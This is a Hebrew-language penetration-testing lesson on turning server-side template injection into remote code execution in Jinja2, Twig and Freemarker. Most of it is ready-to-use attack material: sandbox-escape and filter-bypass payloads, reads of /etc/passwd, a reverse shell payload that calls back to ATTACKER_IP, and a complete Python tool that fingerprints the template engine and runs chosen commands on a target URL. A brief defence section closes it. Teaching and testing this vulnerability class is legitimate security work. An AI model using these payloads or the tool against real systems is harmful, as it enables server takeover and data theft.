לדלג לתוכן

SSTI ל-RCE - Server-Side Template Injection to Remote Code Execution

מבוא

בקורס הבסיסי למדנו לזהות SSTI ולהריץ ביטויים פשוטים. בשיעור זה נלמד כיצד לנצל SSTI להרצת קוד מלאה (RCE) במנועי template שונים, כולל עקיפת sandbox ובניית שרשראות ניצול מותאמות.


Jinja2 - בריחה מ-Sandbox

הבנת MRO - Method Resolution Order

ב-Python, כל אובייקט יורש מ-object. דרך MRO ניתן לנווט מכל אובייקט לכל מחלקה אחרת במערכת:

# מחרוזת ריקה -> המחלקה str -> object -> כל מחלקה אחרת
''.__class__              # <class 'str'>
''.__class__.__mro__      # (<class 'str'>, <class 'object'>)
''.__class__.__mro__[1]   # <class 'object'>

# מ-object, ניתן לגשת לכל התת-מחלקות
''.__class__.__mro__[1].__subclasses__()
# מחזיר רשימה של מאות מחלקות!

חיפוש מחלקות שימושיות

# סקריפט למציאת מחלקות מעניינות
subclasses = ''.__class__.__mro__[1].__subclasses__()
for i, cls in enumerate(subclasses):
    cls_name = cls.__name__
    if cls_name in ['_wrap_close', 'Popen', 'catch_warnings', 'FileLoader']:
        print(f"[{i}] {cls_name} - {cls}")

מחלקות מעניינות:
- os._wrap_close - גישה ל-os.system
- subprocess.Popen - הרצת פקודות
- warnings.catch_warnings - גישה ל-builtins
- importlib._bootstrap.FileLoader - טעינת מודולים

שרשרת ניצול בסיסית

{# מציאת os._wrap_close (נניח שנמצאת באינדקס 132) #}
{{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('id') }}

{# או דרך popen #}
{{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('id').read() }}

אוטומציה של מציאת האינדקס

{# סקריפט שמחפש את os._wrap_close #}
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
  {% if cls.__name__ == '_wrap_close' %}
    {{ cls.__init__.__globals__['popen']('id').read() }}
  {% endif %}
{% endfor %}

עקיפת הגבלות תווים

כשתווים מסוימים חסומים, ניתן להשתמש בטכניקות חלופיות:

{# אם גרש בודד חסום - שימוש באובייקט request #}
{{ request.__class__.__mro__[1].__subclasses__() }}

{# אם נקודה חסומה - שימוש ב-attr filter #}
{{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')() }}

{# אם סוגריים מרובעות חסומות - שימוש ב-__getitem__ #}
{{ ''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132) }}

{# אם underscore חסום - שימוש ב-hex encoding #}
{{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][1] }}

{# שימוש ב-config #}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

שרשראות חלופיות עם אובייקטים מובנים

{# lipsum - פונקציה מובנית ב-Jinja2 #}
{{ lipsum.__globals__['os'].popen('id').read() }}

{# cycler #}
{{ cycler.__init__.__globals__['os'].popen('id').read() }}

{# joiner #}
{{ joiner.__init__.__globals__['os'].popen('id').read() }}

{# namespace #}
{{ namespace.__init__.__globals__['os'].popen('id').read() }}

שרשרת עם builtins

{# גישה ל-__builtins__ דרך catch_warnings #}
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
  {% if cls.__name__ == 'catch_warnings' %}
    {% set builtins = cls.__init__.__globals__['__builtins__'] %}
    {{ builtins['__import__']('os').popen('id').read() }}
  {% endif %}
{% endfor %}

Twig - RCE ב-PHP

שרשרת filter

{# שימוש ב-filter לביצוע callback #}
{{ ['id']|filter('system') }}

{# או עם map #}
{{ ['id']|map('system') }}

{# שימוש ב-sort עם callback #}
{{ ['id', '']|sort('system') }}

{# שימוש ב-reduce #}
{{ [0, 0]|reduce('system', 'id') }}

שרשרת _self.env

{# גישה ל-environment של Twig #}
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}

{# או דרך system #}
{{ _self.env.registerUndefinedFilterCallback("system") }}
{{ _self.env.getFilter("cat /etc/passwd") }}

גרסאות חדשות יותר של Twig

{# Twig 3.x - שרשראות שונות #}
{{ ['id']|filter('system') }}
{{ ['cat /etc/passwd']|map('system')|join }}

{# שימוש ב-include #}
{{ include('/etc/passwd') }}

Freemarker - RCE ב-Java

שרשרת Execute

<#-- שימוש ב-Execute class -->
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}

<#-- שימוש ב-ObjectConstructor -->
<#assign oc = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign runtime = oc("java.lang.ProcessBuilder", ["id"])>
${runtime.start()}

<#-- קריאת קובץ -->
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(",")}

שרשרת עם built-ins

<#-- שימוש ב-new built-in -->
<#assign classloader = object?api.class.protectionDomain.classLoader>
<#assign url = classloader.getResource("").toURI()>

<#-- קריאת קבצים -->
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

זיהוי אוטומטי של מנוע Template

תרשים זרימה

הזן: ${7*7}
     |
     +-- 49 --> הזן: ${7*'7'}
     |              |
     |              +-- 49 --> Twig
     |              +-- 7777777 --> Jinja2
     |              +-- Error --> Unknown
     |
     +-- ${7*7} (as text) --> הזן: {{7*7}}
                                    |
                                    +-- 49 --> הזן: {{7*'7'}}
                                    |              |
                                    |              +-- 49 --> Twig
                                    |              +-- 7777777 --> Jinja2
                                    |
                                    +-- {{7*7}} --> הזן: <%= 7*7 %>
                                                         |
                                                         +-- 49 --> ERB (Ruby)
                                                         +-- Error --> Not SSTI

סקריפט אוטומטי לזיהוי

#!/usr/bin/env python3
"""
SSTI Detection and Exploitation Tool
"""
import requests
import re
import sys

class SSTIExploiter:
    def __init__(self, url, param, method="GET"):
        self.url = url
        self.param = param
        self.method = method
        self.engine = None

    def send_payload(self, payload):
        """שליחת payload לאפליקציה"""
        if self.method == "GET":
            params = {self.param: payload}
            response = requests.get(self.url, params=params)
        else:
            data = {self.param: payload}
            response = requests.post(self.url, data=data)
        return response.text

    def detect_engine(self):
        """זיהוי מנוע ה-Template"""
        print("[*] Detecting template engine...")

        # בדיקה 1: ${7*7}
        result = self.send_payload("${7*7}")
        if "49" in result:
            # Freemarker, Velocity, או Smarty
            result2 = self.send_payload("${7*'7'}")
            if "49" in result2:
                self.engine = "freemarker"
            else:
                self.engine = "velocity"
            print(f"[+] Detected: {self.engine}")
            return self.engine

        # בדיקה 2: {{7*7}}
        result = self.send_payload("{{7*7}}")
        if "49" in result:
            # Jinja2, Twig, או Handlebars
            result2 = self.send_payload("{{7*'7'}}")
            if "7777777" in result2:
                self.engine = "jinja2"
            elif "49" in result2:
                self.engine = "twig"
            else:
                self.engine = "unknown_mustache"
            print(f"[+] Detected: {self.engine}")
            return self.engine

        # בדיקה 3: <%= 7*7 %>
        result = self.send_payload("<%= 7*7 %>")
        if "49" in result:
            self.engine = "erb"
            print(f"[+] Detected: {self.engine}")
            return self.engine

        # בדיקה 4: #{7*7}
        result = self.send_payload("#{7*7}")
        if "49" in result:
            self.engine = "pug"
            print(f"[+] Detected: {self.engine}")
            return self.engine

        print("[-] No template injection detected")
        return None

    def exploit_jinja2(self, command):
        """ניצול Jinja2"""
        payloads = [
            # שרשרת 1: lipsum
            "{{ lipsum.__globals__['os'].popen('" + command + "').read() }}",
            # שרשרת 2: cycler
            "{{ cycler.__init__.__globals__['os'].popen('" + command + "').read() }}",
            # שרשרת 3: subclasses
            "{% for cls in ''.__class__.__mro__[1].__subclasses__() %}"
            "{% if cls.__name__=='_wrap_close' %}"
            "{{ cls.__init__.__globals__['popen']('" + command + "').read() }}"
            "{% endif %}{% endfor %}",
        ]

        for i, payload in enumerate(payloads):
            print(f"[*] Trying Jinja2 chain {i+1}...")
            result = self.send_payload(payload)
            # חיפוש פלט הפקודה בתשובה
            if result and len(result) > 0:
                print(f"[+] Success with chain {i+1}")
                return result

        return None

    def exploit_twig(self, command):
        """ניצול Twig"""
        payloads = [
            "{{ ['" + command + "']|filter('system') }}",
            "{{ ['" + command + "']|map('system') }}",
        ]

        for payload in payloads:
            result = self.send_payload(payload)
            if result:
                return result

        return None

    def exploit_freemarker(self, command):
        """ניצול Freemarker"""
        payload = '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("' + command + '")}'
        return self.send_payload(payload)

    def exploit(self, command):
        """ניצול אוטומטי לפי המנוע שזוהה"""
        if not self.engine:
            self.detect_engine()

        if self.engine == "jinja2":
            return self.exploit_jinja2(command)
        elif self.engine == "twig":
            return self.exploit_twig(command)
        elif self.engine == "freemarker":
            return self.exploit_freemarker(command)
        else:
            print(f"[-] No exploit available for {self.engine}")
            return None

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <url> <param> <command>")
        print(f"Example: {sys.argv[0]} http://target.com/page name 'id'")
        sys.exit(1)

    url = sys.argv[1]
    param = sys.argv[2]
    command = sys.argv[3]

    exploiter = SSTIExploiter(url, param)
    engine = exploiter.detect_engine()

    if engine:
        result = exploiter.exploit(command)
        if result:
            print(f"\n[+] Command output:\n{result}")

Payloads מלאים לכל מנוע

Jinja2 - אוסף Payloads

{# RCE - שיטה 1 #}
{{ lipsum.__globals__['os'].popen('id').read() }}

{# RCE - שיטה 2 #}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

{# RCE - שיטה 3 (עקיפת פילטר על גרשיים) #}
{% set cmd = request.args.get('cmd') %}
{{ lipsum.__globals__['os'].popen(cmd).read() }}

{# RCE - שיטה 4 (עקיפת פילטר על underscore) #}
{{ lipsum|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}

{# קריאת קובץ #}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}

{# Reverse Shell #}
{{ lipsum.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read() }}

Twig - אוסף Payloads

{# RCE - filter #}
{{ ['id']|filter('system') }}

{# RCE - map #}
{{ ['cat /etc/passwd']|map('system')|join }}

{# RCE - sort callback #}
{{ {1: 'id'}|filter('system') }}

{# קריאת קובץ #}
{{ '/etc/passwd'|file_excerpt(0, 100) }}

{# מידע על הסביבה #}
{{ app.request.server.get('DOCUMENT_ROOT') }}

Freemarker - אוסף Payloads

<#-- RCE - Execute -->
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}

<#-- RCE - ProcessBuilder -->
<#assign pb = "freemarker.template.utility.ObjectConstructor"?new()>
${pb("java.lang.ProcessBuilder", ["bash", "-c", "id"]).start().inputStream.text}

<#-- קריאת קובץ -->
<#assign is = "freemarker.template.utility.ObjectConstructor"?new()("java.io.FileInputStream", "/etc/passwd")>
<#assign reader = "freemarker.template.utility.ObjectConstructor"?new()("java.io.InputStreamReader", is)>
<#assign br = "freemarker.template.utility.ObjectConstructor"?new()("java.io.BufferedReader", reader)>
<#list 1..999 as _>
  <#assign line = br.readLine()!>
  <#if line?has_content>${line}<br></#if>
</#list>

הגנות

הפרדת Template מנתוני משתמש

# לא בטוח - הכנסת קלט משתמש ישירות ל-template
template_str = f"Hello {user_input}"
template = Template(template_str)
output = template.render()

# בטוח - העברת נתוני משתמש כפרמטרים
template = Template("Hello {{ name }}")
output = template.render(name=user_input)

Sandbox

from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
template = env.from_string("{{ name }}")
output = template.render(name=user_input)
# ה-Sandbox חוסם גישה ל-__class__, __mro__ וכו'

WAF Rules

# חסימת ביטויים מסוכנים
# __class__, __mro__, __subclasses__, __globals__
# __init__, __import__, popen, system, exec, eval
# lipsum, cycler, joiner, config

סיכום

מנוע Template שפה שרשרת RCE עיקרית קושי
Jinja2 Python lipsum.globals['os'].popen() בינוני
Twig PHP filter('system') נמוך
Freemarker Java Execute?new() נמוך
ERB Ruby system() נמוך
Pug Node.js require('child_process').execSync() בינוני

SSTI היא אחת החולשות שהכי קל לנצל ל-RCE מלא. אם מצאתם SSTI - סביר מאוד שתגיעו ל-RCE. המפתח הוא לזהות את מנוע ה-Template ולהשתמש בשרשרת המתאימה.